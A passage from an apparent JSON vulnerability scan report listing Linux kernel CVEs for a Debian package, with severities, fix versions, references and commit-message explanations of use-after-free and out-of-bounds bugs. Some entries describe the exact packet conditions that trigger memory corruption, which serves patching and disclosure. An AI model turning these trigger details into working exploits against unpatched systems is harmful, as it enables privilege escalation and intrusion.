"https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/9/ALSA-2026-90365.html", "https://errata.rockylinux.org/RLSA-2026:90365", "https://git.kernel.org/linus/0dd68b5d01d022fc9c5e71c82a82b0a94d3d0671%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80824.mbox", "https://git.kernel.org/stable/c/0a960b88c5979f853019d4dc4957dfbeeb193440", "https://git.kernel.org/stable/c/0dd68b5d01d022fc9c5e71c82a82b0a94d3d0671", "https://git.kernel.org/stable/c/47a7f98fbb5006d46d15a3a210ffdc61448a4f19", "https://git.kernel.org/stable/c/5f08c45bdcfd28d1171de38c5ef29fc89a76eedc", "https://git.kernel.org/stable/c/65879e0a452ca2a234b9475e0c11aff7a4343738", "https://git.kernel.org/stable/c/7f0278e474c4d1c4457974ff1137cc385c944ab3", "https://git.kernel.org/stable/c/96f5520fc9a5e4bbf77ac93c9d5ce502f597e6cf", "https://git.kernel.org/stable/c/b3cde26a66b04f1d90ed0b675899c88b4e49d424", "https://git.kernel.org/stable/c/bd4bffc621a8cb2f4d9ed9b6447415de524a3bef", "https://linux.oracle.com/cve/CVE-2026-80824.html", "https://linux.oracle.com/errata/ELSA-2026-91565.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80824", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80824" ], "PublishedDate": "2026-09-04T16:18:10.233Z", "LastModifiedDate": "2026-10-19T09:17:17.293Z" }, { "VulnerabilityID": "CVE-2026-80837", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80837", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cfac4269a92eb6591492c200ef3a8c436a3e4eb6a3893ccd78a44c0c3f3c99cd", "Title": "kernel: netfilter: nf_tables: don't queue packet path object notifications", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: don't queue packet path object notifications\n\nAll file:line references below are against v7.2-rc4 (ac5b0e5651b1). The\ntrace was captured on 7.2.0-rc6-kasan72rc6 (075b74841bd0), where the same\nlines apply.\n\nnft_obj_notify() is exported and reached from the packet path. Its only\nin-tree caller is nft_quota_obj_eval() (net/netfilter/nft_quota.c:68),\nwhich notifies with GFP_ATOMIC while evaluating a rule for a transiting\npacket, holding no mutex.\n\nSince commit 67cc570edaa0 (\"netfilter: nf_tables: coalesce multiple\nnotifications into one skbuff\") that notification is no longer sent\nimmediately. __nft_obj_notify() queues it onto nft_net-\u003enotify_list via\nnft_notify_enqueue() (net/netfilter/nf_tables_api.c:1211), which is a bare\nlist_add_tail(). notify_list has no lock of its own\n(include/net/netfilter/nf_tables.h:1951), it is serialised by commit_mutex:\nthe six other enqueue sites all run inside a netlink transaction, and the\ndrain in nft_commit_notify() (net/netfilter/nf_tables_api.c:10746) does\nlist_del() + kfree_skb() from nf_tables_commit() with commit_mutex held.\n\nSending packets through a chain that references a depleted quota object\ntherefore races an unlocked list_add_tail() against list_del() +\nkfree_skb() on another CPU. The WRITE_ONCE(prev-\u003enext, new) in __list_add()\nthen stores through an sk_buff that has already been freed:\n\n BUG: KASAN: slab-use-after-free in __nft_obj_notify+0x2c5/0x2d0\n Write of size 8 at addr ff110001047183c0 by task poc/76\n CPU: 0 UID: 1000 PID: 76 Comm: poc Tainted: G W 7.2.0-rc6-kasan72rc6 #4\n Call Trace:\n \u003cIRQ\u003e\n __nft_obj_notify (include/linux/list.h:164 include/linux/list.h:191\n net/netfilter/nf_tables_api.c:1211\n net/netfilter/nf_tables_api.c:8743)\n nft_quota_obj_eval (net/netfilter/nft_quota.c:68)\n nft_do_chain_inet\n nf_hook_slow\n __ip_local_out\n ip_push_pending_frames\n udp_send_skb\n udp_sendmsg\n __x64_sys_sendto\n\n Allocated by task 77:\n __alloc_skb (net/core/skbuff.c:704)\n __nft_obj_notify (include/net/netlink.h:1055\n net/netfilter/nf_tables_api.c:8731)\n nft_quota_obj_eval (net/netfilter/nft_quota.c:68)\n nft_do_chain\n\n Freed by task 79:\n nf_tables_commit (include/linux/skbuff.h:1332\n net/netfilter/nf_tables_api.c:10759\n net/netfilter/nf_tables_api.c:11185)\n nfnetlink_rcv_batch (net/netfilter/nfnetlink.c:574)\n netlink_unicast\n netlink_sendmsg\n\n The buggy address belongs to the cache skbuff_head_cache of size 232\n\nQueueing from the packet path is wrong even leaving the race aside:\nnotify_list is only drained by nft_commit_notify() from nf_tables_commit()\n(:11185), so a notification enqueued outside a transaction is not sent\nuntil some later netlink batch commits, if one ever does.\n\nThe gfp argument that nft_obj_notify() still takes is a leftover of the\npre-67cc570edaa0 behaviour, where this path called nfnetlink_send()\ndirectly. Restore that: split the message construction out into\nnft_obj_notify_alloc() and let each caller decide what to do with the skb.\nnft_obj_notify(), the exported one reached from the packet path, sends it\nstraight away; nf_tables_obj_notify(), which runs under commit_mutex, keeps\nqueueing it, so transaction notifications are still coalesced.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80837", "https://git.kernel.org/linus/7904b94768e983bcb2be34a8d6d1f3450f5b838b%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80837.mbox", "https://git.kernel.org/stable/c/68de7f3a38acab355c24114f77bf00d3094ce4da", "https://git.kernel.org/stable/c/6989f298103f575a768a85e4b19d2384709237f8", "https://git.kernel.org/stable/c/6fa88d11983c6fe693c13ed7c5b3b75ae9f39de6", "https://git.kernel.org/stable/c/7904b94768e983bcb2be34a8d6d1f3450f5b838b", "https://git.kernel.org/stable/c/df86c0e84025be8b6dd572a20852698927aa666b", "https://git.kernel.org/stable/c/e97e2d6d0b150fd78be573f9fdf193f204d9334e", "https://git.kernel.org/stable/c/f010756ed75ac003146a1cbc93501092343bb3a3", "https://linux.oracle.com/cve/CVE-2026-80837.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80837", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80837" ], "PublishedDate": "2026-09-04T16:18:12.03Z", "LastModifiedDate": "2026-10-30T13:20:11.983Z" }, { "VulnerabilityID": "CVE-2026-80840", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80840", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c3cb2e6dcb2cb189b893a2f9b69dd2fcfb101fa19aa234792a04594219e8aa71", "Title": "kernel: ipv6: seg6: clear IPv4 control block on IPIP decapsulation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: seg6: clear IPv4 control block on IPIP decapsulation\n\nEnd.DX4 and End.DT4 decapsulate an IPv4 packet through\ndecap_and_validate() and send it directly to IPv4 routing. The inner\npacket therefore bypasses ip_rcv_core(), which normally clears IPCB\nbefore IPv4 interprets skb-\u003ecb.\n\nThe skb instead retains IP6CB data from the outer packet. IP6CB and\nIPCB use the same skb-\u003ecb storage, so IP6CB(skb)-\u003elastopt overlaps\nIPCB(skb)-\u003eopt.optlen and srr, while IP6CB(skb)-\u003enhoff overlaps rr and\nts.\n\nThe sender can make the stale optlen byte nonzero with a valid outer\nextension-header chain. The reproducers put an eight-byte Destination\nOptions header immediately after the 40-byte IPv6 header and before the\nSegment Routing Header. ipv6_destopt_rcv() records the sender-controlled\nDestination Options offset in both lastopt and nhoff, setting them to\n40. On the reproduced little-endian x86-64 kernel, IPv4 therefore sees\noptlen = 40 and rr = 40.\n\nBoth tcp_v4_save_options() and __ip_options_echo() skip option copying\nwhen optlen is zero. Here optlen is 40, so the TCP SYN path allocates\nroom for 40 bytes of option data and calls __ip_options_echo(). The\nstale rr value makes that function read inner packet byte 41 as the\nRecord Route option length. The reproducers set that sender-controlled\nbyte to 255, so __ip_options_echo() copies 255 bytes into the 40-byte\noption-data area.\n\nSeparate End.DX4 and End.DT4 reproducers on the unpatched v7.2-rc5\nkernel both produced:\n\n BUG: KASAN: slab-out-of-bounds in __ip_options_echo()\n Write of size 255\n\nThe relevant End.DX4 call path is:\n\n __ip_options_echo\n tcp_v4_route_req\n tcp_conn_request\n tcp_v4_conn_request\n tcp_rcv_state_process\n tcp_v4_do_rcv\n tcp_v4_rcv\n ip_protocol_deliver_rcu\n ip_local_deliver_finish\n ip_local_deliver\n input_action_end_dx4_finish\n input_action_end_dx4\n\nThe relevant End.DT4 call path is:\n\n __ip_options_echo\n tcp_v4_route_req\n tcp_conn_request\n tcp_v4_conn_request\n tcp_rcv_state_process\n tcp_v4_do_rcv\n tcp_v4_rcv\n ip_protocol_deliver_rcu\n ip_local_deliver_finish\n ip_local_deliver\n input_action_end_dt4\n\ntcp_v4_save_options() is inlined into the tcp_v4_route_req() path, so\nit does not appear as a separate frame.\n\nWhen decap_and_validate() handles IPPROTO_IPIP, save the ingress\ninterface from IP6CB, clear IPCB, and restore the saved value. Doing\nthis in the common decapsulation path covers End.DX4, End.DT4, and\nEnd.DT46's IPv4 arm.\n\nUse IP6CB(skb)-\u003eiif rather than skb-\u003eskb_iif. These actions run after\nl3mdev processing, which can replace skb_iif with the L3 master;\nIP6CB iif still records the receiving interface set at IPv6 ingress.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80840", "https://git.kernel.org/linus/44930446dde45a7a90fe1446fa38eb0e2c561646%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80840.mbox", "https://git.kernel.org/stable/c/0e3f01fe2e704e76af4385b8a1742641885a191c", "https://git.kernel.org/stable/c/10fd1a8f58ac619a9e251f2858e2e2c8fd6cd667", "https://git.kernel.org/stable/c/3e4476e58343fb8f2fffced9e22d935376b17aaf", "https://git.kernel.org/stable/c/44930446dde45a7a90fe1446fa38eb0e2c561646", "https://git.kernel.org/stable/c/9039e4f3e1c0ffe2b575b655b3f58fdd10f7e40c", "https://git.kernel.org/stable/c/bf1c1151560d11036a144d917fa4c131831342d7", "https://git.kernel.org/stable/c/eb0f422487228e140f3d609b032ac61aedcab8fa", "https://git.kernel.org/stable/c/f4be3b391265e24c7720fc867c50062b436acf33", "https://git.kernel.org/stable/c/f52f1e75716d2ee49e013edf204ac92337c72fd8", "https://linux.oracle.com/cve/CVE-2026-80840.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80840", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-80840" ], "PublishedDate": "2026-09-04T16:18:12.44Z", "LastModifiedDate": "2026-10-19T09:17:19.333Z" }, { "VulnerabilityID": "CVE-2026-80841", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80841", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ec5a5ca322a6950378f751a33139903a2b929ca765dbf87333f079dd1f59a4cc", "Title": "kernel: net/packet: defer vmalloc TX_RING free until skbs finish", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/packet: defer vmalloc TX_RING free until skbs finish\n\nAF_PACKET TX_RING skbs keep a raw pointer to their ring frame. The skb\npage references preserve page-backed ring blocks after pg_vec is freed,\nbut they do not preserve a vmalloc mapping.\n\ntpacket_destruct_skb() currently drops the pending reference before\nwriting the timestamp and TP_STATUS_AVAILABLE to the frame. Move the\ndecrement after those stores. The smp_wmb() in __packet_set_status()\norders the frame stores before the decrement.\n\nAlso recheck pending TX frames under pg_vec_lock before non-closing\nring replacement, so a racing send cannot add a pending skb between\nthe initial check and the ring swap.\n\nRing allocation can produce a mixture of page-backed and vmalloc-backed\nblocks. Allocate deferred-work storage during TX ring setup when the\nfirst vmalloc-backed block is encountered, and keep its pointer in the\npg_vec allocation header. If allocation fails, return -ENOMEM from ring\nsetup. On socket close, a non-NULL pointer identifies a vmalloc-backed\nvector without a scan. If TX skbs remain, defer the whole vector to\nsystem_long_wq.\n\nAfter pg_vec is detached, a late destructor can skip the pending\ndecrement. Use socket write-memory accounting as the deferred lifetime\ngate instead: an skb remains charged through its final sock_wfree(),\nafter all ring-frame accesses. The delayed work retains a socket\nreference and reschedules itself until no TX skbs remain.\n\nMove pending_refcnt release to packet_sock_destruct() so late skb\ndestructors and deferred cleanup can safely use it after\npacket_release(). Page-backed teardown remains synchronous, and no lock\nis added to the TX completion hot path.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80841", "https://access.redhat.com/security/cve/CVE-2026-80841", "https://git.kernel.org/linus/992cc9f94ca924089a506ba9b327caa9af797529%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80841.mbox", "https://git.kernel.org/stable/c/0189dce07db2dc059ae0570e06758ec4233c6e11", "https://git.kernel.org/stable/c/4ce6e2d2e38055b2012bd5fdb0c8a8183c8a1b0c", "https://git.kernel.org/stable/c/550d00aa58193fb649a09a9c9e338c685adad784", "https://git.kernel.org/stable/c/992cc9f94ca924089a506ba9b327caa9af797529", "https://git.kernel.org/stable/c/debf9f50140b3df3949ebcb97d4450f8993fe32d", "https://git.kernel.org/stable/c/ed126ca71d4d949ad99f40b974a8f7685e808f8b", "https://git.kernel.org/stable/c/ed25ed29034ddc3dbe451ccbaa58ab9932f99d8b", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-oesfvvke48v0.toml", "https://linux.oracle.com/cve/CVE-2026-80841.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80841", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80841" ], "PublishedDate": "2026-09-04T16:18:12.607Z", "LastModifiedDate": "2026-10-30T13:20:12.13Z" }, { "VulnerabilityID": "CVE-2026-80842", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80842", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:614ca2704c65304e6ed3adced273be7bfb4c1175cb371f76d9e5269b0e143d4d", "Title": "kernel: net: bridge: mcast: fix use-after-free of a master VLAN's multicast context", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bridge: mcast: fix use-after-free of a master VLAN's multicast context\n\nbr_multicast_toggle_one_vlan() clears BR_VLFLAG_MCAST_ENABLED under\nbr-\u003emulticast_lock before stopping a VLAN's multicast context. That is\nthe teardown handshake: lockless readers gate on the flag through\nbr_multicast_ctx_should_use() -\u003e br_multicast_ctx_vlan_disabled(), so\nonce it is cleared under the lock no reader can arm the context again.\n\nFor a master VLAN the handshake never runs. __vlan_del() clears\nBRIDGE_VLAN_INFO_BRENTRY before calling br_vlan_put_master(), so\nbr_multicast_toggle_one_vlan(masterv, false) returns early on\n!br_vlan_is_brentry(vlan): the flag stays set and br-\u003emulticast_lock is\nnever taken. br_vlan_put_master() then drains the context in\nbr_multicast_ctx_deinit() and frees the VLAN through call_rcu(), while a\nreader still inside rcu_read_lock() sees the context as enabled and\nre-arms it. The port and port-VLAN branch of the function has no\nbr_vlan_is_brentry() test and flips the flag under br-\u003emulticast_lock,\nso it is not affected.\n\nThe reader is the bridge transmit path. For a master VLAN\nbr_multicast_rcv() selects brmctx = \u0026vlan-\u003ebr_mcast_ctx with\npmctx = NULL, so IGMP sent to the bridge device re-arms the context's\ntimers after br_multicast_ctx_deinit() has already stopped them.\n\n BUG: KASAN: slab-use-after-free in detach_if_pending+0x412/0x4a0\n Write of size 8 at addr ffff88810ac39918 by task brmc/601\n __mod_timer+0x51a/0xc50\n br_multicast_host_join+0x25b/0x390\n __br_multicast_add_group+0x468/0x530\n br_ip4_multicast_add_group+0x1a0/0x260\n br_multicast_rcv+0x2cda/0x61e0\n br_dev_xmit+0x6c4/0x1540\n Allocated by task 610:\n br_vlan_add+0x111/0xb40\n br_vlan_info+0x370/0x3e0\n Freed by task 0:\n kfree+0x1a7/0x4f0\n rcu_core+0x7dc/0x10a0\n\nOnly test br_vlan_is_brentry() when enabling, like the\nbr_multicast_ctx_vlan_global_disabled() test next to it. Disabling then\nalways clears BR_VLFLAG_MCAST_ENABLED under br-\u003emulticast_lock before\nbr_multicast_ctx_deinit() drains the context.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80842", "https://git.kernel.org/linus/50e5c6605cc9c2dd57bd2d1b3459674d19738983%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80842.mbox", "https://git.kernel.org/stable/c/22226a2c3b90f15b0925f1464470d3baa6c5677e", "https://git.kernel.org/stable/c/3a0ad4fcdfa0b7dba1876de14a12cb65c8b5ca50", "https://git.kernel.org/stable/c/3afaaee2f972aec9059110953adb62fa3cf5c4bd", "https://git.kernel.org/stable/c/3f4752996735e0628af559aa8da1d872c2fac13b", "https://git.kernel.org/stable/c/50e5c6605cc9c2dd57bd2d1b3459674d19738983", "https://git.kernel.org/stable/c/57f94d3f4dee8b54d63cefddf1112be4656ef9e6", "https://git.kernel.org/stable/c/7c54fd8cfbcf371a5ef50db5c53fe6e85fb76686", "https://git.kernel.org/stable/c/c069f29da72324697aa4b7cab5b3647a7d24a575", "https://linux.oracle.com/cve/CVE-2026-80842.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80842", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80842" ], "PublishedDate": "2026-09-04T16:18:12.727Z", "LastModifiedDate": "2026-10-19T09:17:19.597Z" }, { "VulnerabilityID": "CVE-2026-80844", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80844", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:efc01eb6d69c35f738d61eb11f47e63f798376cf23a49bac26b9cf751b49ab6c", "Title": "kernel: xfrm: ah6: validate routing header segments_left", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: ah6: validate routing header segments_left\n\nAH6 rearranges routing-header addresses before computing or verifying the\nICV. ipv6_rearrange_rthdr() assumes that segments_left is not larger than\nthe number of addresses described by the routing header's hdrlen field.\n\nThat assumption does not hold for raw IPv6 HDRINCL packets. A packet with\nhdrlen equal to 2 describes one address, but can carry an arbitrary\nsegments_left value. With segments_left equal to 255, the function moves\nits address pointer 4,064 bytes backwards and passes a 4,064-byte length to\nmemmove(), resulting in an out-of-bounds access.\n\nValidate the invariant locally before modifying the routing header or\nperforming any address-pointer arithmetic, and propagate malformed-header\nerrors to the existing AH6 input and output error paths.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 8.3 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-80844", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/7bad4bda74dc4713f398d3b7624ff05478e3a568%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80844.mbox", "https://git.kernel.org/stable/c/0bf11081ad3753938a2b48723ce6298dbac743a1", "https://git.kernel.org/stable/c/1516e31ac458a738be485620579d8f7fb2700fcb", "https://git.kernel.org/stable/c/1b7e066eabcc7d6d8f476c34739b45932f2f4c31", "https://git.kernel.org/stable/c/2dc650956e4e163b879b3fb1027f9557abc5c985", "https://git.kernel.org/stable/c/46640c814f25f096b0b0045ca50e1b7030cd8a30", "https://git.kernel.org/stable/c/48b0e36cf54358276ee7aa897034c973097d2bc9", "https://git.kernel.org/stable/c/6733ae71268a27d598cfb3f3339a3c950b9b656d", "https://git.kernel.org/stable/c/7bad4bda74dc4713f398d3b7624ff05478e3a568", "https://git.kernel.org/stable/c/f00df8500e5a36ba70d336fd34bd2152ea074e5f", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.3.0/BRSA-dya77m460e9r.toml", "https://linux.oracle.com/cve/CVE-2026-80844.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80844", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80844" ], "PublishedDate": "2026-09-04T16:18:13.023Z", "LastModifiedDate": "2026-11-06T17:19:59.287Z" }, { "VulnerabilityID": "CVE-2026-80848", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": 